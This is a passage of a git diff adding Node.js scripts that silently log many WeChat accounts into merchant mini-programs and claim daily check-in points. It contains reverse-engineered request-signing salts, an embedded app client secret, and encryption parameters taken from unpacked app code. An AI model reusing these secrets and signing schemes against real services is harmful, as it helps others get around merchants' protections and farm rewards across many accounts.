await this.taskPost("/openapi/task/v1/signature/clock", { activity_no: this.activityNo }, dxToken); + if (!ok(result?.code)) { + const err = new Error(result?.message || result?.msg || JSON.stringify(result)); + err.code = result?.code; + throw err; + } + $.log(`账号[${this.index}] 签到成功${this.rewardText(result?.data?.reward_info) ? `: ${this.rewardText(result.data.reward_info)}` : ""}`); + } + + async run() { + const cached = this.getCachedToken(); + if (cached) { + this.applyToken(cached); + $.log(`账号[${this.index}] 使用缓存token: ${shortValue(this.token)}`); + if (!(await this.checkToken())) { + this.removeCachedToken(); + $.log(`账号[${this.index}] 缓存token失效,重新登录`); + } + } + if (!this.token) await this.loginByWxCode(); + if (!this.token) return; + + try { + await this.signIn(); + } catch (e) { + $.log(`账号[${this.index}] 签到失败${e.code ? `(${e.code})` : ""}: ${e.message || e}`); + if (tokenError(e)) this.removeCachedToken(); + } + } +} + +!(async () => { + $.checkEnv(ckName); + for (const account of $.userList) { + await new Task(account).run(); + } +})() + .catch((e) => $.log(e.message || e)) + .finally(() => $.done()); diff --git a/wxapp/lthwy.js b/wxapp/lthwy.js new file mode 100644 index 00000000..f912e733 --- /dev/null +++ b/wxapp/lthwy.js @@ -0,0 +1,322 @@ +/* +------------------------------------------ +@Description: 骆驼户外运动城商城 - 微信小程序静默登录 + 每日签到 +cron: 21 8 * * * +------------------------------------------ +变量名:lthwy +变量值:wx_server 里的 openid/账号标识,多账号用 & 或换行分隔(可加 #备注) + +依赖变量: +wx_server_url 默认 http://192.168.31.196:8787 +wx_auth 必填,wx_server 鉴权值 +------------------------------------------ +契约(appid wx3d2bdbf67041d80e,host xapi.weimob.com,微盟 onecrm/signgift): +(迁移自 YYB-GO 系抓包脚本,原脚本已 code 登录) + +登录 POST /fe/mapi/user/loginX JSON {appid, code, basicInfo:{bosId,cid,tcode:"weimob",vid}, + env:"production", extendInfo:{source:1}, is_pre_fetch_open:true, parentVid:0, + pid:, storeId:"0", queryAuthConfig:true} + -> errcode==0;token 取 token/accessToken/access_token/jwt(放头 X-WX-Token),wid 取 data.wid +签状态 POST /api3/onecrm/mactivity/sign/misc/sign/activity/c/signMainInfo -> data.hasSign(true=今日已签) +签到 POST /api3/onecrm/mactivity/sign/misc/sign/activity/core/c/sign -> errcode==0(重复签 errcode 60070013000332 视为已签) + 两业务请求 basicInfo 带完整商户配置,body.customInfo.wid = 登录返回的 wid + +vid/bosId/cid/merchantId/productInstanceId/productVersionId 等是这家小程序绑定的固定商户配置 +(原脚本硬编码,非个人凭证);wid 由 code 登录动态返回。未注册:loginX errcode!=0 或拿不到 token。 +------------------------------------------ +*/ + +const { Env } = require("../tools/env.js"); +const $ = new Env("骆驼户外运动城签到"); +const axios = require("axios"); +const fs = require("fs"); +const path = require("path"); +const WeChatServer = require("./wcs.js"); + +const ckName = "lthwy"; +const MINI_APP_ID = "wx3d2bdbf67041d80e"; +const BASE = "https://xapi.weimob.com"; +const TOKEN_CACHE_FILE = path.join(__dirname, "lthwy_token_cache.json"); +const UA = + "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.0.0 " + + "Safari/537.36 MicroMessenger/7.0.20.1781(0x6700143B) NetType/WIFI MiniProgramEnv/Windows WindowsWechat/WMPF"; + +const EP_LOGIN = "/fe/mapi/user/loginX"; +const EP_SIGN_STATUS = "/api3/onecrm/mactivity/sign/misc/sign/activity/c/signMainInfo"; +const EP_SIGN = "/api3/onecrm/mactivity/sign/misc/sign/activity/core/c/sign"; +const EP_POINT = "/api3/onecrm/point/myPoint/get"; + +// —— 这家小程序绑定的固定商户配置(原脚本硬编码常量,非个人凭证)—— +const WEIMOB = { + bosId: "4021451615601", + cid: "420878601", + vid: 6015691407601, + vidType: 2, + productId: 146, + productInstanceId: 7133098601, + productVersionId: "14026", + merchantId: "2000170906601", + tcode: "weimob", +}; + +const SIGN_BASIC_INFO = { + vid: WEIMOB.vid, + vidType: WEIMOB.vidType, + bosId: Number(WEIMOB.bosId), + productId: WEIMOB.productId, + productInstanceId: WEIMOB.productInstanceId, + productVersionId: WEIMOB.productVersionId, + merchantId: Number(WEIMOB.merchantId), + tcode: WEIMOB.tcode, + cid: WEIMOB.cid, +}; + +const MERCHANT_HEADERS = { + "weimob-bosId": WEIMOB.bosId, + "weimob-cid": WEIMOB.cid, +}; + +const wechat = new WeChatServer({ + url: process.env.wx_server_url || "http://192.168.31.196:8787", + appid: MINI_APP_ID, + auth: process.env.wx_auth || "", +}); + +function readCache() { + try { + if (!fs.existsSync(TOKEN_CACHE_FILE)) return {}; + return JSON.parse(fs.readFileSync(TOKEN_CACHE_FILE, "utf8")) || {}; + } catch (e) { + return {}; + } +} +function writeCache(cache) { + try { + fs.writeFileSync(TOKEN_CACHE_FILE, JSON.stringify(cache, null, 2), "utf8"); + } catch (e) { + $.log(`写入token缓存失败: ${e.message || e}`); + } +} +function parseAccount(raw = "") { + const [id, remark] = String(raw).split("#").map((s) => (s || "").trim()); + return { openid: id, remark: remark || "" }; +} +function short(v, n = 200) { + const t = typeof v === "string" ? v : JSON.stringify(v); + return !t ? "" : t.length > n ? `${t.slice(0, n)}...` : t; +} +function extractToken(data) { + if (!data || typeof data !== "object") return ""; + const d = data.data || {}; + for (const key of ["token", "accessToken", "access_token", "jwt"]) { + const val = data[key] || d[key]; + if (val && String(val) !== "null") return String(val); + } + return ""; +} + +const isOk = (res) => Number(res?.errcode) === 0; +const msgOf = (res) => res?.errmsg || res?.msg || short(res); +const isAlreadyDone = (t) => /已签|已经签|签到过|重复|已完成|60070013000332|already/i.test(String(t || "")); +const isAuthError = (res) => /登录|token|未授权|失效|过期|未登录|1041|401|403/i.test(msgOf(res)); +const needMember = (t) => /注册|未激活|会员|绑定|授权/.test(String(t || "")); +// 活动时间窗口相关(已结束/未开始/下线/不存在)——签到活动轮换或已过期时命中 +const isActivityClosed = (t) => /活动未开始|活动已结束|活动不存在|活动已下线|活动未开启|活动已过期|活动结束/.test(String(t || "")); + +class Task { + constructor(raw) { + this.index = $.userIdx++; + this.account = parseAccount(raw); + this.token = ""; + this.wid = ""; + } + log(text) { + $.log(`账号[${this.index}]${this.account.remark ? `[${this.account.remark}]` : ""} ${text}`); + } + headers(extra = {}) { + const h = { + Host: "xapi.weimob.com", + "User-Agent": UA, + "Content-Type": "application/json", + Accept: "*/*", + Referer: `https://servicewechat.com/${MINI_APP_ID}/93/page-frame.html`, + "Accept-Language": "zh-CN,zh;q=0.9", + ...extra, + }; + if (this.token) h["X-WX-Token"] = this.token; + return h; + } + async request(apiPath, body, extra = {}) { + const res = await axios.request({ + method: "POST", url: `${BASE}${apiPath}`, data: body || {}, + headers: this.headers(extra), timeout: 20000, validateStatus: () => true, + }); + if (res.status !== 200) { + if (res.data && typeof res.data === "object") return res.data; + throw new Error(`${apiPath} HTTP ${res.status}: ${short(res.data)}`); + } + return res.data; + } + async getCode() { + const { data } = await wechat.getCode(this.account.openid); + if (data && data.status === false) throw new Error(`wx_server 取code失败: ${data.message || short(data)}`); + const code = data?.data?.code || data?.code; + if (!code || typeof code !== "string") throw new Error(`wx_server 未返回 code: ${short(data)}`); + return code; + } + async login() { + const code = await this.getCode(); + const body = { + appid: MINI_APP_ID, + basicInfo: { bosId: WEIMOB.bosId, cid: WEIMOB.cid, tcode: "weimob", vid: String(WEIMOB.vid) }, + env: "production", + extendInfo: { source: 1 }, + is_pre_fetch_open: true, + parentVid: 0, + pid: WEIMOB.bosId, + storeId: "0", + code, + queryAuthConfig: true, + }; + const res = await this.request(EP_LOGIN, body, { "weimob-bosId": WEIMOB.bosId, "weimob-cid": WEIMOB.cid }); + this.token = extractToken(res); + this.wid = String((res && res.data && res.data.wid) || ""); + if (!isOk(res) || !this.token) { + this.unregistered = true; + throw new Error(`NO_TOKEN:${msgOf(res)}`); + } + const cache = readCache(); + cache[this.account.openid] = { token: this.token, wid: this.wid, updatedAt: new Date().toISOString() }; + writeCache(cache); + this.log(`登录成功${this.wid ? ` (wid ${this.wid})` : ""}`); + } + bizBody() { + return { + appid: MINI_APP_ID, + basicInfo: { ...SIGN_BASIC_INFO }, + extendInfo: { source: 1, channelsource: 5, refer: "onecrm-signgift", mpScene: 1005 }, + queryParameter: null, + i18n: { language: "zh", timezone: "8" }, + pid: WEIMOB.bosId, + storeId: "0", + customInfo: { source: 0, wid: this.wid }, + }; + } + async checkSigned() { + const res = await this.request(EP_SIGN_STATUS, this.bizBody(), MERCHANT_HEADERS); + if (isOk(res)) { + const d = res.data || {}; + return { + ok: true, + signed: d.hasSign === true || d.isSign === true, + days: d.activityCumulativeSignDays ?? d.monthCumulativeSignDays ?? d.signedDate, + }; + } + return { ok: false, res }; + } + async doSign() { + return this.request(EP_SIGN, this.bizBody(), MERCHANT_HEADERS); + } + async queryPoints() { + try { + const body = this.bizBody(); + body.request = { isNeedRecordDisplay: true, isQueryAllAccount: true }; + const res = await this.request(EP_POINT, body, MERCHANT_HEADERS); + if (isOk(res) && res.data) { + this.log(`积分 可用 ${res.data.availablePoint ?? 0} / 总计 ${res.data.totalPoint ?? 0}`); + } + } catch (e) { /* 积分为附带信息,失败不影响签到结论 */ } + } + async sign(retry = true) { + const st = await this.checkSigned(); + if (st.ok && st.signed) { + this.log(`✅ 今日已签到${st.days ? `,累计 ${st.days} 天` : ""}`); + await this.queryPoints(); + return; + } + if (!st.ok) { + if (retry && isAuthError(st.res)) { + this.log("会话失效,重新登录后重试"); + this.token = ""; this.wid = ""; + await this.reloginOrMark(); + return this.sign(false); + } + if (needMember(msgOf(st.res))) { this.unregistered = true; throw new Error(`NO_MEMBER:${msgOf(st.res)}`); } + // 查询状态失败但非鉴权/会员问题:继续直接尝试签到 + this.log(`查询签到状态失败(${msgOf(st.res)}),直接尝试签到`); + } + + const res = await this.doSign(); + if (isOk(res)) { + const d = res.data || {}; + const fr = d.fixedReward || {}; + const er = d.extraReward || {}; + const rewards = []; + if ((fr.points || 0) > 0) rewards.push(`${fr.points}${d.pointName || "积分"}`); + if ((fr.growth || 0) > 0) rewards.push(`${fr.growth}${d.growthName || "成长值"}`); + if ((fr.amount || 0) > 0) rewards.push(`${fr.amount}元`); + if ((er.points || 0) > 0) rewards.push(`额外${er.points}${d.pointName || "积分"}`); + this.log(`✅ 签到成功${rewards.length ? `:${rewards.join("、")}` : ""}`); + await this.queryPoints(); + return; + } + if (isAlreadyDone(msgOf(res)) || isAlreadyDone(res && res.errcode)) { + this.log(`✅ 今日已签到(${msgOf(res)})`); + await this.queryPoints(); + return; + } + if (isActivityClosed(msgOf(res))) { + this.log(`⚠️ 签到活动当前未开启/已结束(${msgOf(res)})——该商户签到活动已轮换或到期,需从小程序重新抓取 productInstanceId/productVersionId 后更新配置;登录与状态查询均正常`); + return; + } + if (retry && isAuthError(res)) { + this.log("会话失效,重新登录后重试"); + this.token = ""; this.wid = ""; + await this.reloginOrMark(); + return this.sign(false); + } + if (needMember(msgOf(res))) { this.unregistered = true; throw new Error(`NO_MEMBER:${msgOf(res)}`); } + this.log(`❌ 签到失败: ${msgOf(res)}`); + } + async reloginOrMark() { + try { + await this.login(); + } catch (e) { + if (String(e.message).startsWith("NO_TOKEN")) { this.unregistered = true; throw new Error(`NO_MEMBER:${e.message.slice(9)}`); } + throw e; + } + } + async ensureLogin() { + const cached = readCache()[this.account.openid] || {}; + if (!this.token && cached.token) { + this.token = cached.token; + this.wid = cached.wid || ""; + this.log("使用缓存token"); + return; + } + if (!this.token) await this.login(); + } + async run() { + if (!this.account.openid) { this.log("跳过:变量值里没有 openid"); return; } + try { + await this.ensureLogin(); + await this.sign(); + } catch (e) { + const m = String(e.message || e); + if (m.startsWith("NO_TOKEN") || m.startsWith("NO_MEMBER")) { + this.log(`⚠️ 该微信号还没在骆驼户外运动城注册会员(${m.replace(/^NO_(TOKEN|MEMBER):/, "")}),先在小程序里注册一次再跑`); + return; + } + this.log(`执行失败: ${m}`); + } + } +} + +!(async () => { + $.checkEnv(ckName); + if (!$.userCount) { $.log(`未找到变量 ${ckName}`); return; } + for (let i = 0; i < $.userList.length; i++) { + await new Task($.userList[i]).run(); + if (i < $.userList.length - 1) await $.wait(1500, 3000); + } +})().catch((e) => $.log(e.message || e)).finally(() => $.done()); diff --git a/wxapp/lvbizi.js b/wxapp/lvbizi.js new file mode 100644 index 00000000..0da53ed9 --- /dev/null +++ b/wxapp/lvbizi.js @@ -0,0 +1,278 @@ +/* +------------------------------------------ +@Author: sm +@Date: 2026.06.01 +@Description: 绿鼻子微信小程序签到 +cron: 30 8 * * * +------------------------------------------ +变量名:lvbizi +变量值:wx_server 里的 openid/账号标识,多账号用 & 或换行 +依赖变量:wx_server_url、wx_auth +------------------------------------------ +*/ + +const { Env } = require("../tools/env.js"); +const $ = new Env("绿鼻子微信小程序签到"); +const axios = require("axios"); +const fs = require("fs"); +const path = require("path"); +const querystring = require("querystring"); + +const MINI_APP_ID = "wxb5e0776d46610093"; +const KDT_ID = "106449142"; +const USER_VERSION = "2.240.2"; +const CLIENT_ID = "4d65249d377b2c3ed8"; +const CLIENT_SECRET = "1cdc05151d64f3a4a6ebd0e9de64422a"; +const GRANT_TYPE = "yz_union"; +const API_BASE = "https://h5.youzan.com"; +const TOKEN_CACHE_FILE = path.join(__dirname, "lvbizi_token_cache.json"); +const USER_AGENT = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) MicroMessenger/3.9.12 MiniProgramEnv/Windows WindowsWechat/WMPF"; + +let ckName = "lvbizi"; + +function readTokenCache() { + try { + if (!fs.existsSync(TOKEN_CACHE_FILE)) return {}; + return JSON.parse(fs.readFileSync(TOKEN_CACHE_FILE, "utf8")) || {}; + } catch (e) { + return {}; + } +} + +function writeTokenCache(cache) { + try { + fs.writeFileSync(TOKEN_CACHE_FILE, JSON.stringify(cache, null, 2), "utf8"); + } catch (e) { + $.log(`写入token缓存失败: ${e.message || e}`); + } +} + +function maskPhone(phone = "") { + return String(phone).replace(/^(\d{3})\d{4}(\d{4})$/, "$1****$2"); +} + +function maskToken(token = "") { + if (!token) return ""; + return token.length > 12 ? `${token.slice(0, 6)}***${token.slice(-6)}` : `${token.slice(0, 3)}***`; +} + +class Task { + constructor(openid) { + this.index = $.userIdx++; + this.openid = String(openid || "").trim(); + this.token = {}; + this.checkinId = ""; + } + + async run() { + const cached = this.getCachedToken(); + if (cached) { + this.token = cached; + $.log(`账号[${this.index}] 使用缓存token: ${maskToken(this.accessToken)}`); + if (!(await this.checkToken())) { + this.removeCachedToken(); + $.log(`账号[${this.index}] 缓存token失效,重新code登录`); + } + } + + if (!this.accessToken) { + await this.loginByWxCode(); + } + if (!this.accessToken) return; + + await this.getPoints("签到前"); + await this.getCheckinInfo(); + await this.doCheckin(); + await this.getPoints("签到后"); + } + + getCachedToken() { + const cache = readTokenCache(); + return cache[this.openid] || null; + } + + saveCachedToken() { + if (!this.accessToken) return; + const cache = readTokenCache(); + cache[this.openid] = { + ...this.token, + updatedAt: new Date().toISOString(), + }; + writeTokenCache(cache); + } + + removeCachedToken() { + const cache = readTokenCache(); + if (cache[this.openid]) { + delete cache[this.openid]; + writeTokenCache(cache); + } + this.token = {}; + } + + get accessToken() { + return this.token.accessToken || this.token.access_token || ""; + } + + get sessionId() { + return this.token.sessionId || this.token.session_id || ""; + } + + buildExtraData() { + return JSON.stringify({ + is_weapp: 1, + sid: this.sessionId, + version: USER_VERSION, + client: "weapp", + bizEnv: "wsc", + }); + } + + buildUrl(apiPath, query = {}) { + const pathname = apiPath.replace(/^\/+/, ""); + const params = querystring.stringify({ + store_id: "", + app_id: MINI_APP_ID, + kdt_id: KDT_ID, + access_token: this.accessToken, + ...query, + }); + return `${API_BASE}/${pathname}?${params}`; + } + + getHeaders(extra = {}) { + return { + "User-Agent": USER_AGENT, + "Referer": `https://servicewechat.com/${MINI_APP_ID}/181/page-frame.html`, + "Extra-Data": this.buildExtraData(), + "Accept": "application/json, text/plain, */*", + ...extra, + }; + } + + async request({ method = "GET", apiPath, query = {}, data = {}, skipToken = false }) { + const oldToken = this.token; + if (skipToken) this.token = {}; + const options = { + method, + url: this.buildUrl(apiPath, query), + headers: this.getHeaders(method === "POST" ? { "Content-Type": "application/json" } : {}), + timeout: 15000, + validateStatus: () => true, + }; + if (method !== "GET") options.data = data; + if (skipToken) this.token = oldToken; + + const { status, data: result } = await axios.request(options); + if (status !== 200) throw new Error(`HTTP ${status}: ${typeof result === "string" ? result.slice(0, 200) : JSON.stringify(result)}`); + if (!result || result.code !== 0) { + const err = new Error(result?.msg || result?.message || JSON.stringify(result)); + err.code = result?.code; + throw err; + } + return result.data; + } + + async getWxCode() { + const wxServerUrl = process.env.wx_server_url; + const wxAuth = process.env.wx_auth; + if (!wxServerUrl || !wxAuth) throw new Error("未配置 wx_server_url 或 wx_auth"); + + const { status, data } = await axios.post( + `${wxServerUrl.replace(/\/$/, "")}/wx/getuserinfo`, + { appid: MINI_APP_ID, openid: this.openid }, + { + headers: { + auth: wxAuth, + "content-type": "application/json", + }, + timeout: 15000, + validateStatus: () => true, + } + ); + const code = data?.code || data?.data?.code; + if (status !== 200 || !code) throw new Error(`wx_server 获取code失败: HTTP ${status} ${JSON.stringify(data)}`); + return code; + } + + async loginByWxCode() { + try { + const code = await this.getWxCode(); + const data = await this.request({ + method: "POST", + apiPath: "wscshop/weapp/authorize.json", + skipToken: true, + data: { + appId: MINI_APP_ID, + clientId: CLIENT_ID, + clientSecret: CLIENT_SECRET, + grantType: GRANT_TYPE, + code, + }, + }); + this.token = data || {}; + this.saveCachedToken(); + $.log(`账号[${this.index}] 登录成功: ${data?.nick_name || data?.nickName || ""} ${maskPhone(data?.mobile)}`); + } catch (e) { + $.log(`账号[${this.index}] 登录失败: ${e.message || e}`); + } + } + + async checkToken() { + try { + await this.getPoints("缓存校验"); + return true; + } catch (e) { + return false; + } + } + + async getPoints(label = "积分") { + const data = await this.request({ apiPath: "wscump/integral/user_points.json" }); + const points = data?.current_points ?? data?.real_points ?? data?.total_points ?? "未知"; + $.log(`账号[${this.index}] ${label}: ${points}积分`); + return data; + } + + async getCheckinInfo() { + const data = await this.request({ apiPath: "wscump/checkin/show_checkin_page_v2.json" }); + this.checkinId = data?.checkinId || data?.checkin_id || ""; + $.log(`账号[${this.index}] 签到活动: checkinId=${this.checkinId || "未获取"} isShow=${data?.isShow} showPage=${data?.showPage}`); + return data; + } + + async doCheckin() { + if (!this.checkinId) { + $.log(`账号[${this.index}] 未获取到签到活动,跳过`); + return; + } + try { + const data = await this.request({ + apiPath: "wscump/checkin/checkinV2.json", + query: { checkinId: this.checkinId }, + }); + const award = (data?.list || []) + .map((item) => item?.infos?.title || item?.infos?.desc || "") + .filter(Boolean) + .join(", "); + $.log(`账号[${this.index}] 签到成功: ${data?.desc || ""}${award ? ` ${award}` : ""}`); + } catch (e) { + const message = String(e.message || e); + if (/已签到|已经签到|重复|今日.*签|参与次数/.test(message)) { + $.log(`账号[${this.index}] 今日已签到`); + return; + } + $.log(`账号[${this.index}] 签到失败: ${message}`); + if (e.code === -1 || e.code === 40010 || e.code === 40009 || /登录|token|access/i.test(message)) this.removeCachedToken(); + } + } +} + +!(async () => { + $.checkEnv(ckName); + for (const openid of $.userList) { + await new Task(openid).run(); + } +})() + .catch((e) => $.log(e.message || e)) + .finally(() => $.done()); diff --git a/wxapp/maopu.js b/wxapp/maopu.js new file mode 100644 index 00000000..a61c436d --- /dev/null +++ b/wxapp/maopu.js @@ -0,0 +1,289 @@ +/* +------------------------------------------ +@Description: 毛铺草本荟 - 微信小程序静默登录 + 每日签到 +cron: 43 8 * * * +------------------------------------------ +变量名:maopu +变量值:wx_server 里的 openid/账号标识,多账号用 & 或换行分隔(可加 #备注) + +依赖变量: +wx_server_url 默认 http://192.168.31.196:8787 +wx_auth 必填,wx_server 鉴权值 +------------------------------------------ +契约(appid wxefd0fe341e06b815,host mpb.jingjiu.com/proxy-he): + +信封 {code, data, message},成功码 0。 + +登录 POST /jp/api/loginauto + {code, unionid:"", user_id:"", user_sources:"0", system:{...}, itime, isource} + itime = 秒级时间戳;isource 见解包 utils/parse.js 的 parseTokenParams: + isource = md5(code + "DI9ynKTdfWqF").slice(0,16) + md5(code + itime + "DI9ynKTdfWqF").slice(-16) + (这个包里的 md5 输出是**大写**十六进制,见 utils/md5.js 末尾的 toUpperCase()) + -> data.{access_token, session_key, user_id, unionid, mobile, name} + 之后所有请求带请求头 Authorization: (裸值)+ x-version: 0.0.1 + +状态 POST /api/FlanSignInDaily/mains {} ← 不需要签名 + -> data.{user.point, sign_in_today, sign_in_day_continue, rule} + 实测未签时 sign_in_today = -1(>0 视为今天已签) + +签到 POST /api/FlanSignInDaily/adds {date:"YYYY-MM-DD"} ← **需要签名头** + 见解包 utils/sign/getAppSign.js:只把白名单里的 key 参与拼接 + c = apptime + ("date" + date) + "DYSHJS^M&.YXZRGS" + access_token + appsign = md5(c) 取**后 10 位**(大写),apptime = 秒级时间戳 + 同一套签名头也用于 /api/FlanArticle/articleView 等(白名单换成 article_id) + +账号态:本测试号登录后服务端自动建了会员(name 形如「会员xxxxxxxx」、mobile 为 null), +但签到回 {code:-1000,"完善个人信息后才能参与"} —— 要先在小程序里补个人信息(手机号等)。 +脚本按 ⚠️ 提示,不代填资料、不代过手机号授权。 + +不做:阅读文章赚积分(/api/FlanArticle/articleView,属刷任务)、抽奖。 +------------------------------------------ +*/ + +const { Env } = require("../tools/env.js"); +const $ = new Env("毛铺草本荟"); +const axios = require("axios"); +const crypto = require("crypto"); +const fs = require("fs"); +const path = require("path"); +const WeChatServer = require("./wcs.js"); + +const ckName = "maopu"; +const MINI_APP_ID = "wxefd0fe341e06b815"; +const BASE = "https://mpb.jingjiu.com/proxy-he"; +const X_VERSION = "0.0.1"; +const SALT_SIGN = "DYSHJS^M&.YXZRGS"; +const SALT_LOGIN = "DI9ynKTdfWqF"; +const TOKEN_CACHE_FILE = path.join(__dirname, "maopu_token_cache.json"); +const USER_AGENT = + "Mozilla/5.0 (Linux; Android 12; M2012K11AC Build/SKQ1.220303.001; wv) AppleWebKit/537.36 (KHTML, like Gecko) " + + "Version/4.0 Chrome/134.0.6998.136 Mobile Safari/537.36 MicroMessenger/8.0.48.2580(0x28003036) MiniProgramEnv/android"; + +const EP_LOGIN = "/jp/api/loginauto"; +const EP_STATE = "/api/FlanSignInDaily/mains"; +const EP_SIGN = "/api/FlanSignInDaily/adds"; + +const wechat = new WeChatServer({ + url: process.env.wx_server_url || "http://192.168.31.196:8787", + appid: MINI_APP_ID, + auth: process.env.wx_auth || "", +}); + +/** 包里的 md5 输出大写,签名要跟它一致 */ +const md5 = (s) => crypto.createHash("md5").update(String(s), "utf8").digest("hex").toUpperCase(); + +function readCache() { + try { + if (!fs.existsSync(TOKEN_CACHE_FILE)) return {}; + return JSON.parse(fs.readFileSync(TOKEN_CACHE_FILE, "utf8")) || {}; + } catch (e) { + return {}; + } +} + +function writeCache(cache) { + try { + fs.writeFileSync(TOKEN_CACHE_FILE, JSON.stringify(cache, null, 2), "utf8"); + } catch (e) { + $.log(`写入token缓存失败: ${e.message || e}`); + } +} + +function parseAccount(raw = "") { + const [id, remark] = String(raw).split("#").map((s) => (s || "").trim()); + return { openid: id, remark: remark || "" }; +} + +function short(v, n = 200) { + const t = typeof v === "string" ? v : JSON.stringify(v); + return !t ? "" : t.length > n ? `${t.slice(0, n)}...` : t; +} + +function today() { + const d = new Date(); + const p = (n) => String(n).padStart(2, "0"); + return `${d.getFullYear()}-${p(d.getMonth() + 1)}-${p(d.getDate())}`; +} + +const isOk = (res) => res && Number(res.code) === 0; +const codeOf = (res) => Number(res?.code); +const msgOf = (res) => res?.message || res?.msg || short(res); +const isAlreadyDone = (t) => /已签|已经签|签到过|重复|已完成|already/i.test(String(t || "")); +const isAuthError = (res) => /登录|token|未授权|未登录|失效|过期/.test(msgOf(res)) || codeOf(res) === 401; +/** -1000 完善个人信息后才能参与:账号态门槛,不是脚本缺陷 */ +const NEED_PROFILE = -1000; + +class Task { + constructor(raw) { + this.index = $.userIdx++; + this.account = parseAccount(raw); + this.token = ""; + } + + log(text) { + $.log(`账号[${this.index}]${this.account.remark ? `[${this.account.remark}]` : ""} ${text}`); + } + + /** 只有需要签名的接口才传 signKeys(白名单里的 key 才参与拼接,顺序按 body 的 key 顺序) */ + async request(apiPath, { body = null, withAuth = true, signKeys = null } = {}) { + const payload = body || {}; + const headers = { + "content-type": "application/json", + "x-version": X_VERSION, + Accept: "application/json, text/plain, */*", + "User-Agent": USER_AGENT, + Referer: `https://servicewechat.com/${MINI_APP_ID}/318/page-frame.html`, + xweb_xhr: "1", + }; + if (withAuth && this.token) headers.Authorization = this.token; + if (signKeys && withAuth) { + const apptime = Math.round(Date.now() / 1000); + let joined = ""; + for (const k of Object.keys(payload)) { + if (signKeys.includes(k)) joined += `${k}${payload[k]}`; + } + headers.apptime = String(apptime); + headers.appsign = md5(`${apptime}${joined}${SALT_SIGN}${this.token}`).slice(-10); + } + const res = await axios.request({ + method: "POST", + url: `${BASE}${apiPath}`, + data: payload, + headers, + timeout: 20000, + validateStatus: () => true, + }); + if (res.status !== 200) { + if (res.data && typeof res.data === "object") return res.data; + throw new Error(`${apiPath} HTTP ${res.status}: ${short(res.data)}`); + } + return res.data; + } + + /** wcs.getCode 在 status:false 时也 resolve,必须自己判失败,否则取码限流会被误报成登录失败 */ + async getCode() { + const { data } = await wechat.getCode(this.account.openid); + if (data && data.status === false) { + throw new Error(`wx_server 取code失败: ${data.message || short(data)}`); + } + const code = data?.data?.code || data?.code; + if (!code || typeof code !== "string") throw new Error(`wx_server 未返回 code: ${short(data)}`); + return code; + } + + async login() { + const code = await this.getCode(); + const itime = Math.floor(Date.now() / 1000); + const isource = md5(`${code}${SALT_LOGIN}`).slice(0, 16) + md5(`${code}${itime}${SALT_LOGIN}`).slice(-16); + const res = await this.request(EP_LOGIN, { + withAuth: false, + body: { + code, + unionid: "", + user_id: "", + user_sources: "0", + system: { platform: "android", system: "Android 12", model: "M2012K11AC", SDKVersion: "3.4.5" }, + itime, + isource, + }, + }); + if (!isOk(res)) throw new Error(`登录失败: ${msgOf(res)}`); + const d = res.data || {}; + this.token = String(d.access_token || ""); + if (!this.token) throw new Error(`登录未返回 access_token: ${short(res)}`); + const cache = readCache(); + cache[this.account.openid] = { token: this.token, updatedAt: new Date().toISOString() }; + writeCache(cache); + this.log(`登录成功${d.name ? `: ${d.name}` : ""}`); + } + + /** 返回 {signedToday, point, days};会话失效返回 null */ + async state(needLog = true) { + const res = await this.request(EP_STATE, { body: {} }); + if (!isOk(res)) { + if (needLog && !isAuthError(res)) this.log(`读取签到状态失败: ${msgOf(res)}`); + return null; + } + const d = res.data || {}; + const t = Number(d.sign_in_today); + const info = { + // 实测未签时是 -1;>0 视为今天已签 + signedToday: Number.isFinite(t) && t > 0, + point: (d.user || {}).point, + days: d.sign_in_day_continue, + }; + if (needLog) { + this.log(`积分 ${info.point ?? "-"},连签 ${info.days ?? "-"} 天,今日${info.signedToday ? "已签" : "未签"}`); + } + return info; + } + + async ensureLogin() { + const cached = readCache()[this.account.openid] || {}; + if (!this.token && cached.token) { + this.token = cached.token; + const info = await this.state(false); + if (info !== null) { + this.log("使用缓存token"); + return info; + } + this.log("缓存token失效,重新登录"); + this.token = ""; + } + if (!this.token) await this.login(); + return null; + } + + async sign(info) { + if (info === null || info === undefined) info = await this.state(); + if (info === null) { + this.log("❌ 会话无效,签到跳过"); + return; + } + if (info.signedToday) { + this.log("✅ 今日已签到"); + return; + } + const date = today(); + const res = await this.request(EP_SIGN, { body: { date }, signKeys: ["date"] }); + if (isOk(res)) { + const gained = (res.data || {}).point ?? (res.data || {}).points; + this.log(`✅ 签到成功${gained ? `,+${gained} 积分` : ""}`); + await this.state(); + return; + } + if (isAlreadyDone(msgOf(res))) return this.log(`✅ 今日已签到(${msgOf(res)})`); + if (codeOf(res) === NEED_PROFILE) { + this.log(`⚠️ ${msgOf(res)} —— 登录和签名都通了,是账号资料没填全(手机号等),先在小程序里完善个人信息再跑`); + return; + } + this.log(`❌ 签到失败: ${msgOf(res)}`); + } + + async run() { + if (!this.account.openid) { + this.log("跳过:变量值里没有 openid"); + return; + } + try { + const info = await this.ensureLogin(); + await this.sign(info); + } catch (e) { + this.log(`执行失败: ${e.message || e}`); + } + } +} + +!(async () => { + $.checkEnv(ckName); + if (!$.userCount) { + $.log(`未找到变量 ${ckName}`); + return; + } + for (let i = 0; i < $.userList.length; i++) { + await new Task($.userList[i]).run(); + if (i < $.userList.length - 1) await $.wait(1500, 3000); + } +})() + .catch((e) => $.log(e.message || e)) + .finally(() => $.done()); diff --git a/wxapp/mcyp.js b/wxapp/mcyp.js new file mode 100644 index 00000000..ca7eee3d --- /dev/null +++ b/wxapp/mcyp.js @@ -0,0 +1,299 @@ +/* +------------------------------------------ +@Description: 名创优品(MINISO) - 微信小程序静默登录 + 每日签到 +cron: 30 8 * * * +------------------------------------------ +变量名:mcyp +变量值:wx_server 里的 openid/账号标识,多账号用 & 或换行分隔(可加 #备注) + +依赖变量: +wx_server_url 默认 http://192.168.31.196:8787 +wx_auth 必填,wx_server 鉴权值 +------------------------------------------ +契约(appid wx2a212470bade49bf): +(迁移自 YYB-GO 系脚本,原脚本已 code 登录) + +登录 POST https://cdn-storeexpress.miniso.com/wechat/login + body = AES-128-CBC(hex) 加密的 {code, appid, isreturnuserinfo:1} + AES key=0f9f...(16B hex) iv=3132...(即 "1234567890123455") CBC/Pkcs7 → 密文hex 作为原始 body + 头 signature = MD5(SIGN_PREFIX + time + "#" + nonce).大写;nonce/time 同头 + -> data.code==200 && data.data.skey;返回 